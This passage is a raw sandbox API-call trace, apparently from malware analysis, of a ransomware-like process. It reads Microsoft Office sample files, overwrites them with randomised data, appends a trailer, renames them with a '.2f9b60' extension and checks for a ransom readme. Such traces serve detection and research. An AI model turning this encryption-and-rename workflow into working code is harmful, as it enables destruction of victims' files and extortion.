(HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cbf0 [0127.976] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0127.976] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0127.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0127.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b220) returned 1 Thread: id = 1668 os_tid = 0x1b8c [0126.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam")) returned 0x20 [0129.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM", dwFileAttributes=0x20) returned 1 [0129.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c0 [0129.706] GetFileSizeEx (in: hFile=0x15c0, lpFileSize=0x24ccfd00 | out: lpFileSize=0x24ccfd00*=11144) returned 1 [0129.706] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x2b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.706] ReadFile (in: hFile=0x15c0, lpBuffer=0x24ccfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24ccfcc8, lpOverlapped=0x0 | out: lpBuffer=0x24ccfc80*, lpNumberOfBytesRead=0x24ccfcc8*=0x4, lpOverlapped=0x0) returned 1 [0129.708] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0129.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265280 [0129.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265370 [0129.709] NtQuerySystemTime (in: CurrentTime=0x24ccfbc0 | out: CurrentTime=0x24ccfbc0*=132462177349630000) returned 0x0 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x592d92a4 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x637cf67d [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x28722f38 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0xa2e9949 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0xaa9b6a4 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x765d5784 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x27b695bd [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x6384ba51 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x5cfdc6f7 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x1c0b59b8 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x11f7e40d [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x3e36dff0 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x3dcdaa3 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0xca505f4 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x1d6bcb4e [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x7e5d9122 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x26ec5b42 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x733b0d0 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x57257243 [0129.709] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x631f79bf [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x5f5df701 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x22bdbfd7 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x432383e6 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x62d37647 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x6c3c20c3 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0xa6baf34 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x51dfd67c [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x111fd1a8 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x1e6b793b [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x4e22c837 [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x322a026d [0129.710] RtlRandomEx (in: Seed=0x24ccfbb0 | out: Seed=0x24ccfbb0) returned 0x6cb5e729 [0129.720] ReadFile (in: hFile=0x15c0, lpBuffer=0x41ea2d00, nNumberOfBytesToRead=0x2b88, lpNumberOfBytesRead=0x24ccfbb0, lpOverlapped=0x0 | out: lpBuffer=0x41ea2d00*, lpNumberOfBytesRead=0x24ccfbb0*=0x2b88, lpOverlapped=0x0) returned 1 [0129.721] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.721] WriteFile (in: hFile=0x15c0, lpBuffer=0x41ecc1b0*, nNumberOfBytesToWrite=0x2b88, lpNumberOfBytesWritten=0x24ccfbb4, lpOverlapped=0x0 | out: lpBuffer=0x41ecc1b0*, lpNumberOfBytesWritten=0x24ccfbb4*=0x2b88, lpOverlapped=0x0) returned 1 [0129.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0129.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265370 [0129.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265370) returned 1 [0129.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ecc1b0) returned 1 [0129.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ea2d00) returned 1 [0129.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0129.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0129.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20265370 [0129.729] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0129.730] WriteFile (in: hFile=0x15c0, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x24ccfcd0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x24ccfcd0*=0x102, lpOverlapped=0x0) returned 1 [0129.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0129.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265460 [0129.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265460) returned 1 [0129.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0129.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0129.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20265460 [0129.733] sprintf (in: _Dest=0x20265460, _Format="%c%c" | out: _Dest="9c") returned 2 [0129.733] sprintf (in: _Dest=0x20265462, _Format="%c%c" | out: _Dest="12") returned 2 [0129.733] sprintf (in: _Dest=0x20265464, _Format="%c%c" | out: _Dest="1f") returned 2 [0129.733] sprintf (in: _Dest=0x20265466, _Format="%c%c" | out: _Dest="63") returned 2 [0129.733] sprintf (in: _Dest=0x20265468, _Format="%c%c" | out: _Dest="06") returned 2 [0129.733] sprintf (in: _Dest=0x2026546a, _Format="%c%c" | out: _Dest="ce") returned 2 [0129.733] sprintf (in: _Dest=0x2026546c, _Format="%c%c" | out: _Dest="75") returned 2 [0129.733] sprintf (in: _Dest=0x2026546e, _Format="%c%c" | out: _Dest="fe") returned 2 [0129.733] sprintf (in: _Dest=0x20265470, _Format="%c%c" | out: _Dest="c1") returned 2 [0129.733] sprintf (in: _Dest=0x20265472, _Format="%c%c" | out: _Dest="75") returned 2 [0129.733] sprintf (in: _Dest=0x20265474, _Format="%c%c" | out: _Dest="99") returned 2 [0129.733] sprintf (in: _Dest=0x20265476, _Format="%c%c" | out: _Dest="22") returned 2 [0129.733] sprintf (in: _Dest=0x20265478, _Format="%c%c" | out: _Dest="d6") returned 2 [0129.733] sprintf (in: _Dest=0x2026547a, _Format="%c%c" | out: _Dest="e7") returned 2 [0129.733] sprintf (in: _Dest=0x2026547c, _Format="%c%c" | out: _Dest="3d") returned 2 [0129.733] sprintf (in: _Dest=0x2026547e, _Format="%c%c" | out: _Dest="d2") returned 2 [0129.733] RtlInitAnsiString (in: DestinationString=0x24ccfd48, SourceString="9c121f6306ce75fec1759922d6e73dd2" | out: DestinationString="9c121f6306ce75fec1759922d6e73dd2") [0129.733] RtlAnsiStringToUnicodeString (in: DestinationString=0x24ccfd18, SourceString="9c121f6306ce75fec1759922d6e73dd2", AllocateDestinationString=1 | out: DestinationString="9c121f6306ce75fec1759922d6e73dd2") returned 0x0 [0129.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0129.734] wcscat (in: _Dest=0x4205d0f0, _Source="9c121f63" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63" [0129.734] wcscat (in: _Dest=0x4205d0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63.2f9b60" [0129.734] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63.2f9b60", NtPathName=0x24ccfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\9c121f63.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0129.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107780 [0129.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0129.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0129.736] NtQueryInformationFile (in: FileHandle=0x15c0, IoStatusBlock=0x24ccfd58, FileInformation=0x24ccfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24ccfd58, FileInformation=0x24ccfd68) returned 0x0 [0129.736] NtSetInformationFile (FileHandle=0x15c0, IoStatusBlock=0x24ccfd58, FileInformation=0x24ccfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0129.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0129.738] FlushFileBuffers (hFile=0x15c0) returned 1 [0129.739] CloseHandle (hObject=0x15c0) returned 1 [0129.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205d0f0 [0129.741] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0129.741] wcscat (in: _Dest=0x4205d0f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0129.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0129.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 [0129.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b190) returned 1 Thread: id = 1669 os_tid = 0x1b88 [0126.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20 [0129.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM", dwFileAttributes=0x20) returned 1 [0129.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0129.689] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x2434f9c0 | out: lpFileSize=0x2434f9c0*=12704) returned 1 [0129.689] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x319c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.689] ReadFile (in: hFile=0x176c, lpBuffer=0x2434f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2434f988, lpOverlapped=0x0 | out: lpBuffer=0x2434f940*, lpNumberOfBytesRead=0x2434f988*=0x4, lpOverlapped=0x0) returned 1 [0129.691] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265310 [0129.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202652e0 [0129.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265280 [0129.692] NtQuerySystemTime (in: CurrentTime=0x2434f880 | out: CurrentTime=0x2434f880*=132462177349474000) returned 0x0 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x2b30f595 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x94f03d4 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x4d9ee94e [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x43536bfc [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x1a6f7c5e [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x18debdb [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x7b8543ca [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x7eeadc68 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x29f4d7c3 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x7be3c94d [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x2ae51f78 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x1b66f7e [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x32eca231 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0xed7ae43 [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x2d6fd86b [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x1ea124fd [0129.692] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x48606523 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x50a13b7e [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x1bc2439c [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x73d61ab2 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x4bc341f1 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x6b5c984a [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x49b72b23 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x4361951a [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0xfce6412 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0xcc8d408 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x1af9ce69 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x4da3d01f [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x2c455cc7 [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x20a66d8a [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x749357fa [0129.693] RtlRandomEx (in: Seed=0x2434f870 | out: Seed=0x2434f870) returned 0x189f7d80 [0129.703] ReadFile (in: hFile=0x176c, lpBuffer=0x41ec4990, nNumberOfBytesToRead=0x31a0, lpNumberOfBytesRead=0x2434f870, lpOverlapped=0x0 | out: lpBuffer=0x41ec4990*, lpNumberOfBytesRead=0x2434f870*=0x31a0, lpOverlapped=0x0) returned 1 [0129.704] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.704] WriteFile (hFile=0x176c, lpBuffer=0x41e9f0f0, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2434f874, lpOverlapped=0x0) [0180.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e00 [0180.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e60 [0180.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0e60) returned 1 [0180.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0180.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec4990) returned 1 [0180.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0180.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0180.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb0e60 [0180.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0180.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0180.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e30 [0180.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0e30) returned 1 [0180.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb0e30 [0180.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0cb0 [0180.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c80 [0180.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0c80) returned 1 [0180.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0180.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0180.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a9b40 [0180.009] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.009] WriteFile (in: hFile=0x176c, lpBuffer=0x423a9b40*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2434f990, lpOverlapped=0x0 | out: lpBuffer=0x423a9b40*, lpNumberOfBytesWritten=0x2434f990*=0x106, lpOverlapped=0x0) returned 1 [0206.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c560 [0206.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c560) returned 1 [0206.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d4e0 [0206.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c560 [0206.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c530 [0206.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c530) returned 1 [0206.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fdf0 [0206.306] sprintf (in: _Dest=0x1cd9fdf0, _Format="%c%c" | out: _Dest="18") returned 2 [0206.306] sprintf (in: _Dest=0x1cd9fdf2, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdf4, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdf6, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdf8, _Format="%c%c" | out: _Dest="41") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdfa, _Format="%c%c" | out: _Dest="d6") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdfc, _Format="%c%c" | out: _Dest="68") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fdfe, _Format="%c%c" | out: _Dest="7a") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe00, _Format="%c%c" | out: _Dest="8a") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe02, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe04, _Format="%c%c" | out: _Dest="9c") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe06, _Format="%c%c" | out: _Dest="13") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe08, _Format="%c%c" | out: _Dest="a3") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe0a, _Format="%c%c" | out: _Dest="2f") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe0c, _Format="%c%c" | out: _Dest="c5") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe0e, _Format="%c%c" | out: _Dest="d6") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe10, _Format="%c%c" | out: _Dest="e6") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe12, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe14, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.307] sprintf (in: _Dest=0x1cd9fe16, _Format="%c%c" | out: _Dest="e3") returned 2 [0206.307] RtlInitAnsiString (in: DestinationString=0x2434fa08, SourceString="182cbce741d6687a8adc9c13a32fc5d6e6dcc1e3" | out: DestinationString="182cbce741d6687a8adc9c13a32fc5d6e6dcc1e3") [0206.307] RtlAnsiStringToUnicodeString (in: DestinationString=0x2434f9d8, SourceString="182cbce741d6687a8adc9c13a32fc5d6e6dcc1e3", AllocateDestinationString=1 | out: DestinationString="182cbce741d6687a8adc9c13a32fc5d6e6dcc1e3") returned 0x0 [0206.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9900 [0206.308] wcscat (in: _Dest=0x431c5d00, _Source="182cbce741" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741" [0206.308] wcscat (in: _Dest=0x431c5d00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741.2f9b60" [0206.308] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741.2f9b60", NtPathName=0x2434f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\182cbce741.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4311bb60 [0222.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311bb60) returned 1 [0222.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43229250) returned 1 